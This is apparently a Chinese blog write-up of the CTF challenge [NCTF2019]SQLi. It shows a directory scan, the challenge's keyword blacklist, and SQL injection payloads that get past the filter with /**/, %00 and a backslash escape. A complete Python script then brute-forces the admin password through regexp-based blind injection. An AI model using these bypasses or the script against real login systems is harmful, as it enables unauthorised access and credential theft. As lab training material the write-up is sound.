[NCTF2019]SQLi

黑盒,我先随便写了密码发现过滤了,那就扫一下

dirsearch -u http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt

在这里插入图片描述
在这里插入图片描述

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

过滤的还是挺多的我们要爆出密码来,这个东东不好整
先思考如何写注入语句

首先/**/绕过空格,然后%00当注释

随便写了一个username=1&passwd=||/**/1%00
在这里插入图片描述

这里我们使用\转义然后自己;在闭合语句

username=\&passwd=||/**/1;%00

在这里插入图片描述
我们使用正则来依次累加字符,最后拼接字符串
引号被过滤了,我们选择使用双引号来进行绕过

username=\&passwd=||/**/passwd/**/regexp/**/"^y";%00

在这里插入图片描述
我挨着试给我快按死了

username=\&passwd=||/**/passwd/**/regexp/**/"^yo";%00

在这里插入图片描述
欧克写脚本

import requests
from urllib import parse
import time

strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
# 不用大写
url = 'http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/'
passwd = ""
i = 0

while i < 80:
    for one_char in strings:
        data = {
            'username':'\\',# 一个斜杠不能达到效果
            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') #在python中对url进行解码
                                                   #  实现"^字符串"
        }
        rs = requests.post(url,data).content.decode('utf-8')
        # 必须把响应包解码
        time.sleep(0.01)
        if 'welcome' in rs:
            passwd += one_char
            print("\r", end="")#动态更新内容(进度条)
            print('已匹配到前'+str(i+1)+'位'+' | '+str(passwd),end='')
            i += 1
            break
        if one_char=='~' and 'welcome' not in rs:
            print('\n密码共'+str(i)+'位,已匹配完成')
            i = 80
            break

在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值